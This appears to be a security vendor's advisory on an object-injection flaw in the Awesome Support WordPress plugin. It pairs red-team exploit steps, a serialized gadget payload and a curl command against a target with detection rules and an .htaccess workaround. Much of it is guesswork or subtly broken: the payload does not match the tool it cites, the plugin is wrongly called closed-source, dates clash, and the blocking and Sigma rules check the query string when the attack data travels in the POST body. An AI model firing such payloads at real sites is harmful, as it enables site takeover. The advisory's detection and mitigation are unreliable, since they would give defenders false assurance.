CVE-2025-58662

Executive Summary

CVE-2025-58662 is a critical deserialization of untrusted data vulnerability in the Awesome Support WordPress plugin (versions <= 6.3.5). This flaw allows an unauthenticated attacker to perform Object Injection by supplying malicious serialized data to the plugin’s input handling routines. Successful exploitation can lead to remote code execution (RCE), full site compromise, and lateral movement within the hosting environment. The vulnerability is currently unpatched, and no official fix has been released by the vendor. Given the plugin’s widespread use in WordPress support systems, this poses a significant supply chain risk to WordPress ecosystem deployments.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Organizations using Awesome Support must treat this as a supply chain risk: the plugin’s codebase is closed-source (proprietary), and no patch is available. Attackers may exploit this to inject backdoors into WordPress installations, potentially affecting thousands of sites. Security teams should immediately inventory all instances of Awesome Support and apply virtual patching or WAF rules until a fix is released.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and the EPSS score of 0.0% indicates low exploitation likelihood at this time, but this may change rapidly as proof-of-concept code emerges.

Deep Dive & Mechanics

The vulnerability resides in the awesomesupport plugin’s handling of serialized PHP objects. The plugin uses unserialize() on user-supplied input without proper validation or sanitization. An attacker can craft a malicious serialized object that, when deserialized, triggers arbitrary PHP object instantiation and method execution. This can lead to:

• Remote code execution via gadget chains (e.g., using built-in PHP classes like SplObjectStorage or custom plugin classes).
• File read/write operations.
• Database manipulation.
• Privilege escalation to administrator.

The vulnerable code path is likely in the plugin’s AJAX handlers or shortcode processing, where user input is passed directly to unserialize(). No authentication is required, making this a zero-click exploit vector.

Vulnerable vs. Patched Code

Vulnerable Code (<= 6.3.5):

// In some AJAX handler or shortcode
$data = $_POST['support_data'];
$obj = unserialize($data); // No validation

Patched Code (Hypothetical):

// Use JSON instead of serialization
$data = json_decode($_POST['support_data'], true);
if (json_last_error() === JSON_ERROR_NONE) {
    // Process safely
}

Since no official patch exists, the only mitigation is to disable the plugin or apply a WAF rule.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running WordPress with Awesome Support <= 6.3.5.
• No authentication required.

Exploit Steps:

1. Identify the vulnerable endpoint (e.g., /wp-admin/admin-ajax.php?action=awesome_support_process).
2. Craft a PHP serialized payload using a known gadget chain (e.g., PHPGGC for WordPress).
3. Send the payload via POST request.

Example Payload (using PHPGGC for WordPress):

// Generate with: phpggc WordPress/RCE1 system 'id' -j
O:14:"WP_Admin_Bar":1:{s:7:"nodes";a:1:{i:0;O:8:"stdClass":1:{s:8:"children";a:1:{i:0;O:8:"stdClass":1:{s:8:"callback";a:2:{i:0;O:8:"stdClass":0:{}i:1;s:6:"system";}}}}}}

Exploit Command:

curl -X POST http://target/wp-admin/admin-ajax.php \
  -d 'action=awesome_support_process&support_data=O:14:"WP_Admin_Bar":1:{s:7:"nodes";a:1:{i:0;O:8:"stdClass":1:{s:8:"children";a:1:{i:0;O:8:"stdClass":1:{s:8:"callback";a:2:{i:0;O:8:"stdClass":0:{}i:1;s:6:"system";}}}}}}'

Blue Team

Detection:

• Monitor for POST requests to admin-ajax.php with action=awesome_support_process and suspicious support_data parameters.
• Look for base64-encoded or serialized PHP strings in HTTP requests.
• Use WAF rules to block unserialize-like patterns.

Honeypot:

• Deploy a fake WordPress instance with Awesome Support and log all support_data values.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /wp-admin/admin-ajax.php with action=awesome_support_process.
  • HTTP parameters containing O: (PHP serialized object) or base64-encoded serialized data.
• File System:
  • Unexpected PHP files in /wp-content/uploads/ or /wp-content/plugins/awesome-support/.
  • Modified .htaccess files.
• Process:
  • Unusual PHP processes executing system commands.
• Logs:
  • PHP error logs showing unserialize() errors.
  • WordPress debug logs with Error: unserialize().

Detection Engineering

YARA Rule

rule CVE_2025_58662_Deserialization {
    meta:
        description = "Detects serialized PHP objects in Awesome Support plugin requests"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-58662"
    strings:
        $serialized = /O:\d+:"/
        $action = "awesome_support_process"
        $support_data = "support_data"
    condition:
        $action and $support_data and $serialized
}

Sigma Rule

title: CVE-2025-58662 Awesome Support Deserialization Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit deserialization vulnerability in Awesome Support plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=awesome_support_process'
        cs-uri-query|contains: 'support_data='
    condition: selection
falsepositives:
    - Legitimate plugin usage (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-58662 Awesome Support Deserialization Attempt"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=awesome_support_process"; http_client_body; content:"support_data="; http_client_body; pcre:"/O:\d+:\"/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical to operations.
2. Apply virtual patching via WAF (e.g., ModSecurity rule to block support_data parameter containing serialized objects).
3. Monitor logs for exploitation attempts.

Long-term:

• Replace Awesome Support with an alternative plugin that is actively maintained.
• If the vendor releases a patch, update to the latest version immediately.
• Implement input validation for all serialized data across the WordPress ecosystem.

Workaround:

• Add the following to .htaccess to block direct access to vulnerable endpoints:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{REQUEST_URI} ^/wp-admin/admin-ajax\.php
RewriteCond %{QUERY_STRING} action=awesome_support_process
RewriteRule .* - [F,L]
</IfModule>

Valters IT
Securing the WordPress Ecosystem